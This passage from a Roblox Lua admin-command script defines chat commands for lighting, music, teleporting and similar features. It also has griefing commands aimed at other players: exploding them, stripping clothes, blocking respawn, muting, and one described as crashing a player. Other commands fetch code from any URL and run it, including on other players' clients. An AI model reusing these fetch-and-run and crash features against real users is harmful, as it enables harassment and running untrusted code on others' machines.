  1765. if find.Character and find.Character:FindFirstChild("Humanoid") and find ~= plyr then
  1766. find.Character.Humanoid.Health = find.Character.Humanoid.Health + hamt
  1767. elseif find == plyr and Effigy and Effigy.Parent == Workspace then
  1768. Effigy.Humanoid.Health = Effigy.Humanoid.Health + hamt
  1769. end
  1770. end)
  1771. AddCMD("lg", "Lag", "UNDER CONSTRUCTION", "ToPlayer", function(find,args)
  1772.  
  1773.  
  1774.  
  1775. end)
  1776. AddCMD("cln", "Clean", "Cleans the Workspace. Use; cln/ cln/s/ for scripts and cln/all/ for all", "General", function(args)
  1777. for _,v in pairs(Workspace:GetChildren()) do
  1778. local cond = not game.Players:GetPlayerFromCharacter(v) and
  1779. not args[1] and
  1780. v.ClassName ~= "Script" and v.ClassName ~= "LocalScript" and
  1781. v.Name ~= "Terrain" and v.Name ~= "Base" and v.Name ~= "Baseplate"
  1782. and v.Name ~= "BasePlate" and v ~= Effigy and v ~= cam
  1783.  
  1784. local cond2 = not game.Players:GetPlayerFromCharacter(v) and
  1785. args[1] == "all" and
  1786. v.Name ~= "Terrain" and v.Name ~= "Base" and v.Name ~= "Baseplate"
  1787. and v.Name ~= "BasePlate" and v ~= Effigy and v ~= cam
  1788.  
  1789. local cond3 = not game.Players:GetPlayerFromCharacter(v) and
  1790. args[1] == "s" and
  1791. v.ClassName == "Script" or v.ClassName == "LocalScript"
  1792.  
  1793. if cond or cond2 or cond3 then v:Remove() end
  1794.  
  1795.  
  1796. end
  1797. end)
  1798. AddCMD("fogend", "FogEnd", "Sets the FogEnd", "General", function(args)
  1799.  
  1800. if args[1] then
  1801. game.Lighting.FogEnd = args[1]
  1802. end
  1803. end)
  1804. AddCMD("notif", "Notify", "Notifications", "General", function(args)
  1805. if notify then
  1806. notify = false
  1807. else
  1808. notify = true
  1809. end
  1810. end)
  1811. AddCMD("dis", "Dismiss", "Dismisses yo ninjas", "General", function(args)
  1812. for _,v in pairs(Workspace:GetChildren()) do
  1813. if v.Name == "Ninjah" then
  1814. v.Torso.Locked = false
  1815. end
  1816. end
  1817. end)
  1818. AddCMD("tell", "Tell", "Tells a player somethin. Use; tell/plyr/msg/", "ToPlayer", function(find, args)
  1819. if args[1] then
  1820. coroutine.resume(coroutine.create(function()
  1821. Output(args[1], find, args[2])
  1822. end))
  1823. end
  1824. end)
  1825. AddCMD("ex", "Explode", "Explodes a player. Use; ex/plyr/press/radius", "ToPlayer", function(find, args)
  1826. if find.Character and find.Character:FindFirstChild("Torso") then
  1827. local ex = Instance.new("Explosion", Workspace)
  1828. if args[1] and args[1] ~= "def" then
  1829. ex.BlastPressure = args[1]
  1830. end
  1831. if args[2] then
  1832. ex.BlastRadius = args[2]
  1833. end
  1834. ex.Position = find.Character.Torso.Position
  1835. end
  1836. end)
  1837. AddCMD("light", "Light", "Gives a light to someone. Use; light/plyr/col", "ToPlayer", function(find, args)
  1838. local col = "Institutional white"
  1839. if args[1] then col = args[1] end
  1840. if col == "random" then col = BrickColor.random().Name end
  1841.  
  1842. local fchar = find.Character
  1843. if find.Character and find.Character["Torso"] then
  1844. if find == plyr then fchar = Effigy end
  1845. local lite = Instance.new("PointLight", fchar.Torso)
  1846. lite.Range = 24
  1847. lite.Shadows = true
  1848. lite.Color = BrickColor.new(col).Color
  1849.  
  1850. coroutine.resume(coroutine.create(function()
  1851. tors = find.Character.Torso
  1852. if col == "rainbow" or col == "disco" then
  1853. repeat
  1854. lite.Color = BrickColor.random().Color
  1855. wait(.1)
  1856. until not lite or not tors
  1857. end
  1858. end))
  1859. end
  1860. end)
  1861. AddCMD("slight", "SpotLight", "Gives a spotlight. Use; slight/plyr/col", "ToPlayer", function(find, args)
  1862. local col = "Institutional white"
  1863. if args[1] then col = args[1] end
  1864. if col == "random" then col = BrickColor.random().Name end
  1865.  
  1866. local fchar = find.Character
  1867. if find.Character and find.Character["Torso"] then
  1868. if find == plyr then fchar = Effigy end
  1869. local lite = Instance.new("SpotLight", fchar.Torso)
  1870. lite.Range = 24
  1871. lite.Shadows = true
  1872. lite.Color = BrickColor.new(col).Color
  1873.  
  1874. coroutine.resume(coroutine.create(function()
  1875. tors = find.Character.Torso
  1876. if col == "rainbow" or col == "disco" then
  1877. repeat
  1878. lite.Color = BrickColor.random().Color
  1879. wait(.1)
  1880. until not lite or not tors
  1881. end
  1882. end))
  1883. end
  1884. end)
  1885. AddCMD("naked", "Naked", "Removes a player's clothes. Have fun.", "ToPlayer", function(find, args)
  1886. if find.Character then
  1887. local fchar = find.Character
  1888. local cloth = fchar:FindFirstChild("Clothing")
  1889. local shirt = fchar:FindFirstChild("Shirt")
  1890. local pants = fchar:FindFirstChild("Pants")
  1891. if cloth then cloth:Destroy() end
  1892. if shirt then shirt:Destroy() end
  1893. if pants then pants:Destroy() end
  1894. end
  1895. end)
  1896. AddCMD("name", "Name", "Names a player. Use; name/plyr/newname", "ToPlayer", function(find, args)
  1897. if find == plyr and Effigy and Effigy.Parent ~= nil then
  1898. Effigy.Name = args[1]
  1899. end
  1900. end)
  1901. AddCMD("building", "Building", "Erects a building", "ToPlayer", function(find, args)
  1902. local cond = find.Character and find.Character:FindFirstChild("Torso")
  1903. local wbase = {}
  1904.  
  1905. coroutine.resume(coroutine.create(function()
  1906. if Workspace:FindFirstChild("Base") then wbase["Base"] = Workspace.Base end
  1907. if Workspace:FindFirstChild("Baseplate") then wbase["Base"] = Workspace.Baseplate end
  1908. if Workspace:FindFirstChild("BasePlate") then wbase["Base"] = Workspace.BasePlate end
  1909.  
  1910. if cond and wbase["Base"] then
  1911. local fchar = find.Character
  1912. local tors = fchar.Torso
  1913.  
  1914. local build = Instance.new("Part", Workspace)
  1915. build.Name = "Building"..find.Name
  1916. build.Anchored = true
  1917. build.BrickColor = BrickColor.new("Dark stone grey")
  1918. build.Size = Vector3.new(50, 110, 50)
  1919. build.CFrame = CFrame.new(tors.Position.x, wbase["Base"].Position.y, tors.Position.z)
  1920. * CFrame.new(0, -build.Size.y/2, 0)
  1921. local tex = "6750508"
  1922. --addDecal(build, tex)
  1923. local dec1 = Instance.new("Decal", build)
  1924. dec1.Face = "Front"
  1925. dec1.Texture = "http://www.roblox.com/asset?id="..tex
  1926. local dec2 = Instance.new("Decal", build)
  1927. dec2.Face = "Left"
  1928. dec2.Texture = "http://www.roblox.com/asset?id="..tex
  1929. local dec3 = Instance.new("Decal", build)
  1930. dec3.Face = "Right"
  1931. dec3.Texture = "http://www.roblox.com/asset?id="..tex
  1932. local dec4 = Instance.new("Decal", build)
  1933. dec4.Face = "Back"
  1934. dec4.Texture = "http://www.roblox.com/asset?id="..tex
  1935.  
  1936. --build.dec1:Destroy()
  1937.  
  1938. repeat
  1939. build.CFrame = build.CFrame * CFrame.new(0, .1, 0)
  1940. wait()
  1941. until build.Position.y >= wbase["Base"].Position.y + wbase["Base"].Size.y/2 + build.Size.y/2
  1942.  
  1943. end
  1944. end))
  1945. end)
  1946. AddCMD("age", "GetAge", "Gets the age of a player", "ToPlayer", function(find, args)
  1947.  
  1948. Output(find.Name.." is "..find.AccountAge.." days old.", plyr, 7)
  1949.  
  1950. end)
  1951. AddCMD("pbase", "Private Base", "Gives a player a private base. Use; pbase/plyr/size", "ToPlayer", function(find, args)
  1952. if find.Character and find.Character:FindFirstChild("Torso") then
  1953. if args[1] then siz = args[1] end
  1954.  
  1955. local fchar = find.Character
  1956. if find == plyr then fchar = Effigy end
  1957. local pbase = Instance.new("Part", fchar.Torso)
  1958. if siz then
  1959. pbase.Size = Vector3.new(siz, 1, siz)
  1960. else
  1961. pbase.Size = Vector3.new(50,1,50)
  1962. end
  1963. pbase.Anchored = true
  1964. pbase.CFrame = CFrame.new(5000*math.random(100)/10, 200, 5000*math.random(100)/10)
  1965. pbase.Name = "Base"
  1966. pbase.BrickColor = BrickColor.new("Earth green")
  1967. fchar.Torso.CFrame = pbase.CFrame * CFrame.new(0,2,0)
  1968. end
  1969. end)
  1970. AddCMD("tp", "Teleport", "Teleports someone to someone. Use; tp/plyr/who", "ToPlayer", function(find, args)
  1971. local guy = find
  1972. local guy2 = lookFor(args[1], game.Players)
  1973.  
  1974. if guy2 and guy.Character ~= nil and guy2.Character ~= nil and guy.Character:FindFirstChild("Torso") and guy2.Character:FindFirstChild("Torso") then
  1975.  
  1976. guy.Character.Torso.CFrame = guy2.Character.Torso.CFrame
  1977. end
  1978. end)
  1979. AddCMD("afk", "afk", "Makes you AFK","General", function(args)
  1980. if Effigy and Effigy.Parent ~= nil then
  1981. local hov = Instance.new("Part", plyr.Character)
  1982. hov.FormFactor = "Custom"
  1983. hov.Size = Vector3.new(6, 3, .2)
  1984. hov.Transparency = 1
  1985. hov.CanCollide = false
  1986. hov.Anchored = true
  1987. local hovsurface = Instance.new("SurfaceGui", hov)
  1988. hovsurface.CanvasSize = hovsurface.CanvasSize - Vector2.new(100, 100)
  1989. hovsurface.Face = "Front"
  1990. local hovtxt = Instance.new("TextLabel", hovsurface)
  1991. hovtxt.Size = UDim2.new(1, 0, 1, 0)
  1992. hovtxt.Text = "AFK"
  1993. hovtxt.FontSize = "Size48"
  1994. hovtxt.TextColor3 = Color3.new(1,1,1)
  1995. hovtxt.TextStrokeColor3 = BrickColor.new("Bright blue").Color
  1996. hovtxt.TextStrokeTransparency = .5
  1997. hovtxt.BackgroundTransparency = 1
  1998.  
  1999. local curchar = plyr.Character
  2000. local curtors = Effigy.MyTorso
  2001. local idle = true
  2002.  
  2003. plyr:GetMouse().KeyDown:connect(function(k)
  2004. idle = false
  2005. end)
  2006.  
  2007. local rot = 0
  2008. repeat
  2009. hov.CFrame = curtors.CFrame * CFrame.Angles(0, math.rad(rot), 0) * CFrame.new(0, 0, -3)
  2010. rot = rot + 1
  2011. wait()
  2012. until idle == false or not curchar or not curchar:FindFirstChild("Torso") or not hov
  2013. hov:Destroy()
  2014. end
  2015. end)
  2016. AddCMD("m", "Message", "Sends a message. Use; m/msg/duration", "General", function(args)
  2017. local src = [[ for _,v in pairs(game.Players:GetPlayers()) do
  2018. coroutine.resume(coroutine.create(function()
  2019. local sg = Instance.new("ScreenGui", v.PlayerGui)
  2020. local fra = Instance.new("Frame", sg)
  2021. fra.Size = UDim2.new()
  2022. fra.Position = UDim2.new(.5, 0, .5, 0)
  2023. fra.BackgroundColor3 = BrickColor.new("Navy blue").Color
  2024. fra.ZIndex = 55
  2025.  
  2026. --fra.TextColor3 = Color3.new(1,1,1)
  2027. fra.BackgroundTransparency = .5
  2028. fra:TweenSizeAndPosition(UDim2.new(.5, 0, .005, 0), UDim2.new(.25, 0, .5, 0), "Out", "Sine", .55, true)
  2029. wait(.6)
  2030. fra:TweenSizeAndPosition(UDim2.new(.5, 0, .8, 0), UDim2.new(.25, 0, 0, 0), "Out", "Sine", .55, true)
  2031. wait(.6)
  2032.  
  2033. wait(duration)
  2034. fra:TweenSizeAndPosition(UDim2.new(.5, 0, 0, 0),UDim2.new(.25, 0, .5, 0), "Out", "Sine", .55, true)
  2035. wait(.6)
  2036. sg:Remove()
  2037. end))
  2038. end
  2039.  
  2040. ]]
  2041. if args[2] then
  2042. duration = args[2]
  2043. else
  2044. duration = 2
  2045. end
  2046.  
  2047. src = string.gsub(src, "VALUE", args[1])
  2048. src = string.gsub(src, "duration", duration)
  2049. NewScript(src)
  2050. end)
  2051. AddCMD("bet", "Change Bet", "Speaks for itself", "General", function(args)
  2052. if args[1] then
  2053. bet = args[1]
  2054. end
  2055. Output("The bet is now '"..bet, plyr)
  2056. end)
  2057. AddCMD("logs", "Logs", "View the logs of a player. Use; logs/plyr/", "General", function(args)
  2058. print("loggin")
  2059. if args[1] and logs[args[1]] and logsobj then
  2060. for _,v in pairs(logs[args[1]]) do
  2061. print(v)
  2062. end
  2063.  
  2064. for _,v in pairs(logsobj:GetChildren()) do
  2065. if not logs[v.Name] then
  2066. logs[v.Name] = {}
  2067. end
  2068. table.insert(logs[v.Name], v.Value)
  2069. table.insert(logs["All"], v.Name..": "..v.Value)
  2070. v:Destroy()
  2071. end
  2072.  
  2073.  
  2074. local sp = ScreenGui("ScrollingFrame", UDim2.new(.3, 0, 1, 0), UDim2.new(.7, 0, 0, 0), guiobj, content)
  2075. sp.Surface.ScrollingFrame.BackgroundTransparency = .5
  2076. sp.Surface.ScrollingFrame.BackgroundColor3 = Color3.new()
  2077. sp.Surface.ScrollingFrame.CanvasSize = sp.Surface.ScrollingFrame.CanvasSize + UDim2.new(0, 0, 4, 0)
  2078. for i,v in pairs(logs[args[1]]) do
  2079. print(i.." t")
  2080. local tl = Instance.new("TextLabel", sp.Surface.ScrollingFrame)
  2081. tl.TextColor3 = Color3.new(1, 1, 1)
  2082. tl.Size = UDim2.new(1, 0, .02, 0)
  2083. tl.Position = UDim2.new(0, 0, tl.Size.Y.Scale*(i-1), 0)
  2084. tl.BackgroundTransparency = .8
  2085. tl.Text = v
  2086. wait()
  2087. end
  2088.  
  2089. else
  2090. for i,v in pairs(logs) do
  2091. print("Logs for: "..i)
  2092. end
  2093. end
  2094.  
  2095. end)
  2096. AddCMD("sing", "Sing", "Makes a player sing. Use; sing/who/id/vol/", "ToPlayer", function(find, args)
  2097. local s = Instance.new("Sound")
  2098. local vol = 1
  2099. if args[2] then vol = args[2] end
  2100. if find ~= plyr and find.Character:FindFirstChild("Head") and args[1] then
  2101. s.Parent = find.Character.Head
  2102. s.SoundId = "http://www.roblox.com/asset?id="..args[1]
  2103. s.Volume = vol
  2104. s:Play()
  2105. elseif Effigy and Effigy:FindFirstChild("MyHead") and args[1] then
  2106. s.Parent = Effigy.MyHead
  2107. s.SoundId = "http://www.roblox.com/asset?id="..args[1]
  2108. s.Volume = vol
  2109. s:Play()
  2110. end
  2111. end)
  2112. AddCMD("smusic", "Music", "Searches music. Use; ", "General", function(args)
  2113. local vol = args[2]
  2114. if vol == nil then vol = 1 end
  2115. local MSearchSource = [[
  2116. hs = game:GetService("HttpService")
  2117. test = hs:GetAsync("http://rproxy.pw/catalog/json?SortType=0&Keyword=KWORD&Category=9&ResultsPerPage=20", true)
  2118. da = hs:JSONDecode(test)
  2119.  
  2120. local ALL = Instance.new("StringValue", script)
  2121. for i,v in pairs(da) do
  2122. local a = Instance.new("StringValue", ALL)
  2123. a.Name = v["Name"]
  2124. a.Value = "http://www.roblox.com/asset?id="..v["AssetId"]
  2125. end
  2126. ALL.Name = "ALL"
  2127. ]]
  2128. MSearchSource = string.gsub(MSearchSource, "KWORD", args[1])
  2129. local ns = NewScript(MSearchSource)
  2130. repeat wait() until ns:FindFirstChild("ALL")
  2131.  
  2132. local cursel = nil
  2133. local sp = ScreenGui("ScrollingFrame", UDim2.new(.3, 0, 1, 0), UDim2.new(.7, 0, 0, 0), guiobj, content)
  2134. sp.Surface.ScrollingFrame.BackgroundTransparency = .5
  2135. sp.Surface.ScrollingFrame.BackgroundColor3 = Color3.new()
  2136. --sp.Surface.CanvasSize = sp.Surface.CanvasSize
  2137.  
  2138. local Looped = false
  2139. local loopg = Instance.new("TextButton", sp.Surface)
  2140. loopg.Name = "LoopG"
  2141. loopg.Size = UDim2.new(.1, 0, .1, 0)
  2142. loopg.Position = sp.Surface.ScrollingFrame.Position - UDim2.new(loopg.Size.X.Scale)
  2143. loopg.Text = "Looped: false"
  2144. loopg.BackgroundColor3 = Color3.new(0,0,0)
  2145. loopg.TextColor3 = Color3.new(1,1,1)
  2146.  
  2147. loopg.MouseEnter:connect(function()
  2148. cursel = loopg
  2149. end)
  2150.  
  2151. loopg.MouseLeave:connect(function()
  2152. if cursel == loopg then
  2153. cursel = nil
  2154. end
  2155. end)
  2156.  
  2157. for i,v in pairs(ns.ALL:GetChildren()) do
  2158. local tl = Instance.new("TextLabel", sp.Surface.ScrollingFrame)
  2159. tl.Name = v.Value
  2160. tl.TextColor3 = Color3.new(1, 1, 1)
  2161. tl.Size = UDim2.new(1, 0, .02, 0)
  2162. tl.Position = UDim2.new(0, 0, tl.Size.Y.Scale*(i-1), 0)
  2163. tl.BackgroundTransparency = .8
  2164. tl.Text = v.Name
  2165.  
  2166. tl.MouseEnter:connect(function()
  2167. cursel = tl
  2168. end)
  2169.  
  2170. tl.MouseLeave:connect(function()
  2171. if cursel == tl then
  2172. cursel = nil
  2173. end
  2174. end)
  2175. ns:Destroy()
  2176.  
  2177. wait()
  2178. end
  2179.  
  2180. local mcon
  2181. mcon = mouse.Button1Down:connect(function()
  2182. if cursel and cursel.Name == "LoopG" then
  2183. if Looped == false then
  2184. Looped = true
  2185. loopg.Text = "Looped: true"
  2186. else
  2187. Looped = false
  2188. loopg.Text = "Looped: false"
  2189. end
  2190. elseif cursel and cursel.Name == "Volume" then
  2191. local kdown
  2192. mouse.KeyDown:connect(function(key)
  2193. end)
  2194. elseif cursel then
  2195.  
  2196. local newsound = Instance.new("Sound", Workspace)
  2197. newsound.Name = "GOCSound"
  2198. newsound.SoundId = cursel.Name
  2199. newsound.Volume = vol
  2200. if Looped then newsound.Looped = true end
  2201. newsound:Play()
  2202.  
  2203. sp:Remove()
  2204. mcon:disconnect()
  2205. end
  2206.  
  2207. end)
  2208. end)
  2209. AddCMD("tryplr", "Try Player", "Trys a player as another. Use; tryplr/plyr/plyr", "ToPlayer", function(find, args)
  2210. local guy = find
  2211. local guy2 = lookFor(args[1], game.Players)
  2212.  
  2213. if guy and guy2 then
  2214. local val = guy2.userId
  2215. local trysource = [[
  2216. player = game.Players.PLAYER
  2217. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..VALUE
  2218. player:LoadCharacter()
  2219. ]]
  2220. trysource = string.gsub(trysource, "PLAYER", guy.Name)
  2221. trysource = string.gsub(trysource, "VALUE", val)
  2222. NewScript(trysource)
  2223.  
  2224. end
  2225. end)
  2226. AddCMD("resp", "Respawn", "Respawns a player", "ToPlayer", function(find, args)
  2227. NewScript("game.Players."..find.Name..":LoadCharacter() script:Destroy()" )
  2228. end)
  2229. AddCMD("ttx", "ttx Immunity", "Idk", "ToPlayer", function(find, args)
  2230. local nmn = Instance.new("Model", Workspace)
  2231. local adj = {"Non-Existant", "Hidden", "Mystic", "Unseen", "Dark"}
  2232. local namz = {"Shadow", "Darkness", "Shadows", "Wisp", "Ghost", "Wind"}
  2233. nmn.Name = adj[math.random(1, #adj)]..namz[math.random(1, #namz)]
  2234. find.Character.Parent = Instance.new("Model", Workspace)
  2235. end)
  2236. AddCMD("ball", "Ball", "Balls a player", "ToPlayer", function(find, args)
  2237. NewLocalScript(find.Backpack, BallSource)
  2238. end)
  2239. AddCMD("cyborg", "Cyborg", "Adds any missing body parts", "ToPlayer", function(find, args)
  2240. local fc = find.Character
  2241.  
  2242. if not fc:FindFirstChild("Right Arm") then
  2243. local nbp = Instance.new("Part", fc)
  2244. nbp.FormFactor = "Symmetric"
  2245. nbp.Size = Vector3.new(1, 2, 1)
  2246. nbp.Reflectance = .3
  2247. nbp.Name = "Right Arm"
  2248. nbp.BottomSurface = "Smooth"
  2249.  
  2250. local mot = Instance.new("Motor6D", fc.Torso)
  2251. mot.Name = "Right Shoulder"
  2252. mot.Part0 = fc.Torso
  2253. mot.Part1 = nbp
  2254. mot.C0 = CFrame.new(1.5, 0, 0)
  2255.  
  2256. fc.Animate.Disabled = true
  2257. wait()
  2258. fc.Animate.Disabled = false
  2259. end
  2260. if not fc:FindFirstChild("Left Arm") then
  2261. local nbp = Instance.new("Part", fc)
  2262. nbp.FormFactor = "Symmetric"
  2263. nbp.Size = Vector3.new(1, 2, 1)
  2264. nbp.Reflectance = .3
  2265. nbp.Name = "Left Arm"
  2266. nbp.BottomSurface = "Smooth"
  2267.  
  2268. local mot = Instance.new("Motor6D", fc.Torso)
  2269. mot.Name = "Left Shoulder"
  2270. mot.Part0 = fc.Torso
  2271. mot.Part1 = nbp
  2272. mot.C0 = CFrame.new(-1.5, 0, 0)
  2273. end
  2274. if not fc:FindFirstChild("Right Leg") then
  2275. local nbp = Instance.new("Part", fc)
  2276. nbp.FormFactor = "Symmetric"
  2277. nbp.Size = Vector3.new(1, 2, 1)
  2278. nbp.Reflectance = .3
  2279. nbp.Name = "Right Leg"
  2280. nbp.BottomSurface = "Smooth"
  2281.  
  2282. local mot = Instance.new("Motor6D", fc.Torso)
  2283. mot.Name = "Right Hip"
  2284. mot.Part0 = fc.Torso
  2285. mot.Part1 = nbp
  2286. end
  2287. if not fc:FindFirstChild("Left Leg") then
  2288. local nbp = Instance.new("Part", fc)
  2289. nbp.FormFactor = "Symmetric"
  2290. nbp.Size = Vector3.new(1, 2, 1)
  2291. nbp.Reflectance = .3
  2292. nbp.Name = "Left Leg"
  2293. nbp.BottomSurface = "Smooth"
  2294.  
  2295. local mot = Instance.new("Motor6D", fc.Torso)
  2296. mot.Name = "Left Hip"
  2297. mot.Part0 = fc.Torso
  2298. mot.Part1 = nbp
  2299. end
  2300.  
  2301. end)
  2302. AddCMD("mute", "Mute", "Mutes a player. Use; mute/plyr/duration/", "ToPlayer", function(find, args)
  2303. local dur = args[1]
  2304. if dur == nil then dur = 9999999 end
  2305.  
  2306. local ms = MuteSource
  2307. ms = string.gsub(ms, "duration = 99", "duration = "..dur)
  2308. NewLocalScript(find.Backpack, ms)
  2309. end)
  2310. AddCMD("unmute", "UnMute", "Unmutes a player", "ToPlayer", function(find, args)
  2311. NewLocalScript(find.Backpack, UnmuteSource)
  2312. end)
  2313. local script_list = {}
  2314. AddCMD("newhl", "New Http Local", "Saves an http local script for running later, Use; newhl/name/URL/", "General", function(args)
  2315. if args[1] and args[2] then
  2316. local src = [[
  2317. hs = game:GetService("HttpService")
  2318. url = hs:GetAsync("LINKURL", true)
  2319.  
  2320. script:ClearAllChildren()
  2321. ds = Instance.new("StringValue", script)
  2322. ds.Name = "SRC"
  2323. ds.Value = url
  2324. ]]
  2325. src = string.gsub(src, "LINKURL", args[2])
  2326. local hsrc = NewScript(src)
  2327. local strval = hsrc:WaitForChild("SRC")
  2328.  
  2329. script_list[args[1]] = {["Local"] = true, ["Source"] = strval.Value}
  2330. Output("LocalScript "..args[1].." was added to list", plyr)
  2331. end
  2332. end)
  2333. AddCMD("newh", "New Http Script", "Saves an http script for running later. Use; newh/name/URL/", "General", function(args)
  2334. if args[1] and args[2] then
  2335. local src = [[
  2336. hs = game:GetService("HttpService")
  2337. url = hs:GetAsync("LINKURL", true)
  2338.  
  2339. script:ClearAllChildren()
  2340. ds = Instance.new("StringValue", script)
  2341. ds.Name = "SRC"
  2342. ds.Value = url
  2343. ]]
  2344. src = string.gsub(src, "LINKURL", args[2])
  2345. local hsrc = NewScript(src)
  2346. local strval = hsrc:WaitForChild("SRC")
  2347.  
  2348. script_list[args[1]] = {["Local"] = nil, ["Source"] = strval.Value}
  2349. Output("Script "..args[1].." was added to list", plyr)
  2350. end
  2351. end)
  2352. AddCMD("run", "Run", "Runs a saved script. Use; run/scriptname/", "General", function(args)
  2353. local sc = script_list
  2354. if script_list[args[1]] then
  2355. if sc[args[1]] and sc[args[1]]["Local"] == true then
  2356. NewLocalScript(plyr.Backpack, sc[args[1]]["Source"])
  2357. elseif sc[args[1]] and not sc[args[1]]["Local"] then
  2358. NewScript(sc[args[1]]["Source"])
  2359. end
  2360. end
  2361. end)
  2362. AddCMD("runto", "RunScriptOn", "Runs a saved local script on a player. Use; runto/scriptname/plyr/", "ToPlayer", function(find, args)
  2363. local sc = script_list
  2364. if script_list[args[1]] then
  2365. if sc[args[1]] and sc[args[1]]["Local"] == true then
  2366. NewLocalScript(find.Backpack, sc[args[1]]["Source"], find.Name)
  2367. end
  2368. end
  2369. end)
  2370. AddCMD("nosounds", "No Sounds", "Removes all Workspace sounds", "General", function(args)
  2371. function gothru(o)
  2372. for _,v in pairs(o:GetChildren()) do
  2373. if v.ClassName == "Sound" then
  2374. v:Stop()
  2375. v:Remove()
  2376. end
  2377. if #v:GetChildren() > 0 then
  2378. gothru(v)
  2379. end
  2380. end
  2381. end
  2382.  
  2383. gothru(Workspace)
  2384. end)
  2385. AddCMD("night", "Night", "Makes it night", "General", function(args)
  2386. game.Lighting.TimeOfDay = 19
  2387. end)
  2388. AddCMD("day", "Day", "Makes it day", "General", function(args)
  2389. game.Lighting.TimeOfDay = 12
  2390. end)
  2391. AddCMD("midnight", "Midnight", "Makes it midnight", "General", function(args)
  2392. game.Lighting.TimeOfDay = 24
  2393. end)
  2394. AddCMD("time", "Time", "Changes TimeOfDay. Use; time/hour/", "General", function(args)
  2395. game.Lighting.TimeOfDay = args[1]
  2396. end)
  2397. AddCMD("fogend", "FogEnd", "Changes FogEnd. Use; fogend/number/", "General", function(args)
  2398. game.Lighting.FogEnd = args[1]
  2399. end)
  2400. AddCMD("fogcol", "FogColor", "Changes FogColor. Use; fogcol/r,g,b/", "General", function(args)
  2401.  
  2402. function sep(str, sp)
  2403. local val1
  2404. local val2
  2405. local val3
  2406.  
  2407. local fsp = string.find(str, sp)
  2408. val1 = string.gsub(string.sub(str, 1, fsp-1), " ", "")
  2409. str = string.sub(str, fsp+1)
  2410. fsp = string.find(str, sp)
  2411. val2 = string.gsub(string.sub(str, 1, fsp-1), " ", "")
  2412. str = string.sub(str, fsp+1)
  2413. val3 = string.gsub(str, " ", "")
  2414.  
  2415. print("val1="..val1, "val2="..val2, "val3="..val3)
  2416. return val1, val2, val3
  2417. end
  2418.  
  2419. local r,g,b = sep(args[1], ",")
  2420. game.Lighting.FogColor = Color3.new(tonumber(r)/255, tonumber(g)/255, tonumber(b)/255)
  2421. end)
  2422. AddCMD("amb", "Ambient", "Changes Ambient. Use; amb/r,g,b/", "General", function(args)
  2423.  
  2424. function sep(str, sp)
  2425. local val1
  2426. local val2
  2427. local val3
  2428.  
  2429. local fsp = string.find(str, sp)
  2430. val1 = string.gsub(string.sub(str, 1, fsp-1), " ", "")
  2431. str = string.sub(str, fsp+1)
  2432. fsp = string.find(str, sp)
  2433. val2 = string.gsub(string.sub(str, 1, fsp-1), " ", "")
  2434. str = string.sub(str, fsp+1)
  2435. val3 = string.gsub(str, " ", "")
  2436.  
  2437. print("val1="..val1, "val2="..val2, "val3="..val3)
  2438. return val1, val2, val3
  2439. end
  2440.  
  2441. local r,g,b = sep(args[1], ",")
  2442. game.Lighting.Ambient = Color3.new(tonumber(r)/255, tonumber(g)/255, tonumber(b)/255)
  2443. end)
  2444. AddCMD("ls", "LocalScript", "Runs a localscript on a player. Use; ls/plyr/script/", "ToPlayer", function(find, args)
  2445. if locscr_base and find:FindFirstChild("Backpack") then
  2446. NewLocalScript(find.Backpack, string.sub(msg, 4), find.Name)
  2447. end
  2448. end)
  2449. AddCMD("cmds", "Commands", "Shows a list of commands", "General", function(args)
  2450. print(" -[ COMMAND LIST ]- ")
  2451. local cnt = 1
  2452. for i,v in pairs(CMDlist) do
  2453. print(cnt.." "..i..": "..v["Name"].." "..v["Description"])
  2454. print(" ")
  2455. cnt = cnt + 1
  2456. end
  2457. Output("Commands printed; press F9 to view the list", plyr)
  2458. end)
  2459. AddCMD("rej", "Rejoin", "Rejoins a player. Use; rej/plyr/placeid/", "ToPlayer", function(find, args)
  2460. local plc = args[1]
  2461. if plc == nil or plc == "" then plc = game.PlaceId end
  2462.  
  2463. if find then
  2464. local rejsource = [[
  2465. player = game.Players.PLAYER
  2466. plc = VALUE
  2467. game:GetService('TeleportService'):Teleport(plc, player)
  2468. ]]
  2469. rejsource = string.gsub(rejsource, "PLAYER", find.Name)
  2470. rejsource = string.gsub(rejsource, "VALUE", plc)
  2471. NewScript(rejsource)
  2472.  
  2473. end
  2474. end)
  2475. punished = {}
  2476. AddCMD("punish", "Punish", "Disables a player's spawning", "ToPlayer", function(find, args)
  2477. find.Character = nil
  2478. punished[find.Name] = true
  2479.  
  2480. local ca
  2481. ca = find.CharacterAdded:connect(function(char)
  2482. if punished[find.Name] then
  2483. find.Character = nil
  2484. else
  2485. ca:Disconnect()
  2486. end
  2487. end)
  2488.  
  2489.  
  2490. end)
  2491. AddCMD("unpunish", "UnPunish", "Unpunishes a player", "ToPlayer", function(find, args)
  2492.  
  2493. punished[find.Name] = nil
  2494. end)
  2495. AddCMD("bsod", "Blue Screen of Death", "Crashes a player ( may change to lag )", "ToPlayer", function(find, args)
  2496.  
  2497. NewLocalScript(find.Backpack, BSoDSource, find.Name)
  2498.  
  2499. end)
  2500. AddCMD("probe", "Probe", "Probes you", "General", function(args)
  2501. if Effigy and Effigy.Parent == Workspace and not probe then
  2502. probe = true
  2503. local float = New("BodyVelocity", plyr.Character.Torso, "Float")
  2504. float.maxForce = Vector3.new(9999, 9999, 9999)
  2505. for i = 1, 50 do
  2506. ChangeTransparencyMod(Effigy, 1/40*i)
  2507. float.velocity = Vector3.new(0, i, 0)
  2508. wait()
  2509. end
  2510. float:Remove()
  2511.  
  2512. Effigy:Remove()
  2513.  
  2514. Probe()
  2515. elseif probe then
  2516. probe = false
  2517. end
  2518. end)
  2519.  
  2520. AddCMD("terminate", "Terminate", "Terminates this script. Testing.", "General", function(args)
  2521. game.Debris:AddItem(script, 6)
  2522. Output("Goodbye..", plyr, 5)
  2523.  
  2524. end)
  2525. AddCMD("testbeam", "Terminate", "Terminates this script. Testing.", "General", function(args)
  2526. Beam(Effigy.MyTorso.CFrame, mouse.Hit.p, Effigy, "White", "White")
  2527.  
  2528. end)
  2529. AddCMD("probecol", "Probe Color", "Changes probe color", "General", function(args)
  2530. probecol = string.upper(string.sub(args[1], 1, 1))..string.sub(args[1], 2)
  2531.  
  2532. end)
  2533. AddCMD("ff", "ForceField", "Gives a player a forcefield", "ToPlayer", function(find, args)
  2534. if find.Character then
  2535. local f = Instance.new("ForceField", find.Character)
  2536. end
  2537. end)
  2538. AddCMD("ff", "ForceField", "Gives a player a forcefield", "ToPlayer", function(find, args)
